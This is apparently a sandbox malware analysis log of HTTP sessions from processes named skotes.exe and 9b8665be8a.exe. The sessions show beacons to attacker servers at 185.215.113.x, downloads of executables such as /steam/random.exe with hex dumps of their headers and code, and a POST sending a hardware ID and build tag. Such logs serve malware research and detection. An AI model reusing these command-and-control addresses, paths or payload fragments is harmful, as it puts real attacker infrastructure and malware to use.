Nov 23, 2024 18:22:10.470804930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:10.470820904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:10.470848083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:10.470864058 CET	1236	IN	Data Raw: 80 10 44 68 63 36 3c e8 aa 3e 2f 49 47 17 77 b9 43 88 12 af 06 85 ee 39 6b fb 6c ac 03 bd c6 39 d2 f6 3e b9 7b 78 1d ac a8 00 9b 25 87 0f eb 62 89 a0 31 61 c9 40 cf 0d 2e b3 79 e6 a4 59 28 1e a8 f3 b7 c5 03 b0 2e cc 1a ab 48 0b 11 79 ba aa d3 67 Data Ascii: Dhc6<>/IGwC9kl9>{x%b1a@.yY(.Hyg="m4kaQg3H+d*Y)wP OwuC"W&D#A)b''-&pn";pBup5!X3"/y2"e'.Db)7"IFj~&<DoDM
Nov 23, 2024 18:22:10.470879078 CET	1236	IN	Data Raw: 57 99 5c b1 6b 63 52 bd 43 ad 37 a5 94 d3 88 58 c7 5c 52 d3 19 75 2c 51 ea 3a 61 a1 81 b8 0d d4 78 37 fe f2 aa 50 23 bb 31 bf f5 51 88 7c 21 2d 64 78 ee 6b 4d 5f d2 4e f4 d7 e9 b1 b1 9d 3e bf f8 4e 8b c6 2f 13 ec d6 58 6f 08 75 a2 0c 35 6f 1b 9f Data Ascii: W\kcRC7X\Ru,Q:ax7P#1Q\|!-dxkM_N>N/Xou5ofu0a?k2Z}\7A@IL3j32"ixnKha[^#ZrNJLg7wD_O0s v[_prS.bKyJX/pyNF"T#
Nov 23, 2024 18:22:10.470895052 CET	776	IN	Data Raw: a6 99 a1 39 25 50 0e 9e 4d 99 32 a2 90 fa 08 a6 21 bd e4 f7 f5 c7 a6 d9 bb 96 ca 16 8e 8c 4c 6a 9e 37 b9 dd 66 a9 9e 95 b3 00 fa a5 81 04 27 36 33 e4 1a 96 b6 00 3d e6 40 3a 28 93 7c d0 43 b3 ab 73 23 65 c2 cd 7a bc d9 77 59 ab 1b 27 78 01 ae 8f Data Ascii: 9%PM2!Lj7f'63=@:(\|Cs#ezwY'x~SB'%[z1/y(f7<^"qsyTk0P{@@#%^A9Sa=Wb)X`\Ahg6<5$LK"d7e:~I
Nov 23, 2024 18:22:10.470911980 CET	1236	IN	Data Raw: e3 4e a7 6d 1b 02 f2 2e e5 3a 01 d3 e3 db c8 8e b9 59 83 02 1c 33 1f f9 f7 cf 4d 01 c9 5d 69 95 4a 86 ac ea e4 e9 5e b8 1d 79 6c 01 32 2f 09 6a b6 78 a1 da a3 ef 2d 4f 08 47 b4 4b cc 02 69 6a de 4f 7d 73 c1 19 75 9e e2 9f fe 04 15 b4 38 b5 11 a1 Data Ascii: Nm.:Y3M]iJ^yl2/jx-OGKijO}su84wbXDc82Z(Zi,olNd#k\|AQl(4Ynl1W{Ac31[]-_'<[=O-o$$[_TWEEKzWc&y>J['f)S[
Nov 23, 2024 18:22:10.470927000 CET	1236	IN	Data Raw: 07 5f 98 76 c1 f9 7e 67 6f b3 63 d0 5c 3c 6f 9e bb 00 53 e0 21 f7 ec 0e d1 ff 3b 61 0f c8 6b aa 73 b8 e7 02 52 a9 77 b7 00 79 66 2c 0f 4b 2e b5 26 db 2d b3 9a a2 aa e4 58 ff e3 10 07 38 0c 26 90 29 d6 ce 40 37 a0 e9 48 98 a1 1e c1 f8 94 c4 0e 7e Data Ascii: _v~goc\<oS!;aksRwyf,K.&-X8&)@7H~%pHLu9IE`6gDzwNKuA_;B%un@@lHlC81HWxigJ<,*&)!Tm:5aqb=3::8yB!
Nov 23, 2024 18:22:10.470942974 CET	1236	IN	Data Raw: d9 7e 3f f8 51 5f c3 4b ae 80 3b 2c d2 da b3 1e 4c d0 e8 d4 af d5 95 5d 6b f5 9d 23 c7 1f ab 32 2f 1f 55 ad 03 fd ba 45 f9 5f 53 8f a6 93 6d d1 f7 44 5b af a4 78 b0 d8 aa 25 3c cf 75 e4 86 81 32 60 f6 39 a8 3c 72 85 57 0b 6b d8 f2 ee 3e cf 5f db Data Ascii: ~?Q_K;,L]k#2/UE_SmD[x%<u2`9<rWk>_!>g\|+9BGH#DA3Z;5x?SXpZV*DQgC~#Oc{@Lz :a8ya6w1t[B%OIRLFTU\|(GY\&-(w4h
Nov 23, 2024 18:22:10.592641115 CET	1236	IN	Data Raw: 1b 04 4d bd 1a cf 70 49 6f aa 75 11 b6 6e df c5 bb 07 97 42 7a 87 15 65 2f de eb b5 e0 7b 52 db 1b 7d 7a 89 c4 9f de 45 a6 cc cd a4 4f b2 71 d4 7a 1a b0 c3 17 ae c5 aa f2 00 43 83 a3 1f a0 cb 63 5f 1a 50 af 0c 62 9c b7 fe 8e 21 ee 3e 65 5d da 52 Data Ascii: MpIounBze/{R}zEOqzCc_Pb!>e]RPpa7G?WJo8]o>bN;;cq9dnR>Vh",}+'eB5KfW.oV'PlX]_6bsFmn*HyM{G_%q3\<y\|ba</j>,y'}gc&`<y;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49772	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:16.036005020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008483001&unit=246122658369
Nov 23, 2024 18:22:17.344197035 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49779	185.215.113.16	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:17.470493078 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 18:22:18.857845068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:18 GMT Content-Type: application/octet-stream Content-Length: 1787392 Last-Modified: Sat, 23 Nov 2024 16:31:41 GMT Connection: keep-alive ETag: "6742036d-1b4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 b9 98 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@h@M$a$$ $b@.rsrc$r@.idata $t@ @*$v@dsxuiljpOx@oscjiabvh @.taggant0h"$@
Nov 23, 2024 18:22:18.857858896 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:18.858773947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:18.858793974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:18.858808041 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:18.859395981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:18.859572887 CET	1236	IN	Data Raw: a1 9f bf f7 6e ac f1 8e a9 e1 5e c0 e3 6e e3 5d 89 2a 08 43 dc c6 aa a7 b3 9d 63 2a 8c b4 58 77 fb b7 c2 0c 1d 3b 19 87 58 d4 b0 b2 1d b8 60 a0 c0 30 7a f6 4b b1 7f 76 d9 ac c5 8a 0a 91 b0 6b da a9 44 65 50 ac ee e0 bf 39 f0 03 8d 9c ff 92 1c 5d Data Ascii: n^n]CcXw;X`0zKvkDeP9]osk&#r\Qo+Xm%r>o/V!A$Dw(5u%u9kDZUZzL*xku%w(cSW_i}IRe1N$UZ
Nov 23, 2024 18:22:18.859585047 CET	248	IN	Data Raw: 12 20 bf f9 eb 9d 4e 99 5c f3 1b f8 d5 f1 8d 0a 27 da 55 0c 20 58 72 b8 7a 09 6b 07 db f4 9b a2 00 40 f9 04 f5 25 55 74 ac 12 0a df 25 e7 b3 11 dc ca f0 e6 52 35 af f2 9d 9f b4 c2 10 01 f1 da d2 5c cd a8 2e 43 c7 51 04 0a d2 6d 81 26 35 25 ae b1 Data Ascii: N\'U Xrzk@%Ut%R5\.CQm&5%&v*A}V5l]i9HBkV6+(+-/tQ$zo$]\ate~8w$eM}O$54\7H5ob\fX_ 'l(]O#%
Nov 23, 2024 18:22:18.860028982 CET	1236	IN	Data Raw: 5e 9f 3f 57 06 ff 56 17 5a 61 25 4a 48 11 bf d3 e7 c1 81 10 1d 3f 5f a8 4b dd cd 7f c7 08 22 00 1e 82 57 8a f4 6a 9c f2 4d 9e 37 9a 96 2f 09 15 24 ad 7d 1c a2 5d b9 af 6b 9d dc 44 bc 0a b7 38 21 4d f1 46 a9 b2 fd b2 b4 fc b9 53 0b 56 9f 6c 94 cb Data Ascii: ^?WVZa%JH?_K"WjM7/$}]kD8!MFSVlp$a_=e/HSOFlzn^(^5\|RX_JPa+w0<Q<NP.\|pEnout957ZKU(EHsaXds>7pc"F"WN}1Xp
Nov 23, 2024 18:22:18.860331059 CET	1236	IN	Data Raw: e2 47 9d 47 1b 49 d5 13 b4 04 00 27 27 6b 3d 33 b0 af f1 94 c8 b4 13 47 6e e9 c2 b7 52 39 9c 63 26 6d 95 38 03 ad d9 64 24 ac 31 76 14 9d be 70 63 36 7c 06 52 50 d9 94 9c 22 af 8a 64 e4 b8 a7 51 8b 55 9d 5c 61 c1 b4 b0 35 f1 94 54 87 9d 97 52 dd Data Ascii: GGI''k=3GnR9c&m8d$1vpc6\|RP"dQU\a5TRts$;W\DQk9Z],#RhN]A;t IYRslI:u_ytEdDhu@74h_()N#Oo\Laoz\c
Nov 23, 2024 18:22:18.982414961 CET	1236	IN	Data Raw: f8 9c 73 91 74 b9 1f f2 e3 29 cb c7 44 a3 12 87 4e af 53 a2 1c cd 53 52 a4 84 61 97 11 8b 55 6b 7f b1 d5 72 a8 1d 6b 92 ae 64 88 39 22 4a 9d 6f 55 65 d5 da 0b 7a 5d 38 44 75 60 76 90 34 91 0b 21 e3 60 97 cd 4d 50 8a a8 9d 41 37 63 14 b9 62 cc 04 Data Ascii: st)DNSSRaUkrkd9"JoUez]8Du`v4!`MPA7cb#tee`i5r!0nn}JPRk[NLS;iF}n)!cX5~9p]JUtklKNt]/p)nC)gKwmUp"6d}R!(]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49793	185.215.113.206	80	7888	C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:24.440009117 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 18:22:25.686935902 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 18:22:25.689789057 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 43 38 39 44 34 37 32 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="hwid"D59C89D472CB1681895587------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="build"mars------IEHCBAFIDAECBGCBFHJE--
Nov 23, 2024 18:22:26.159851074 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49794	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:24.661680937 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008484001&unit=246122658369
Nov 23, 2024 18:22:26.041935921 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49800	185.215.113.16	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:26.233907938 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 18:22:27.650959015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:27 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Sat, 23 Nov 2024 16:29:48 GMT Connection: keep-alive ETag: "674202fc-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f4 02 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELBg"dw@p@@@d\|@tu4@.text `.rdata@@.datalpH@.rsrct@@@.relocuv@B
Nov 23, 2024 18:22:27.651076078 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 23, 2024 18:22:27.651603937 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 23, 2024 18:22:27.651665926 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 23, 2024 18:22:27.651675940 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 23, 2024 18:22:27.652345896 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 23, 2024 18:22:27.652358055 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 23, 2024 18:22:27.652369022 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 23, 2024 18:22:27.653255939 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 23, 2024 18:22:27.653376102 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 23, 2024 18:22:27.889853954 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49819	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:32.045516014 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008485001&unit=246122658369
Nov 23, 2024 18:22:33.382446051 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49822	185.215.113.16	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:33.630918980 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 18:22:35.128282070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:34 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Sat, 23 Nov 2024 16:30:15 GMT Connection: keep-alive ETag: "67420317-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] 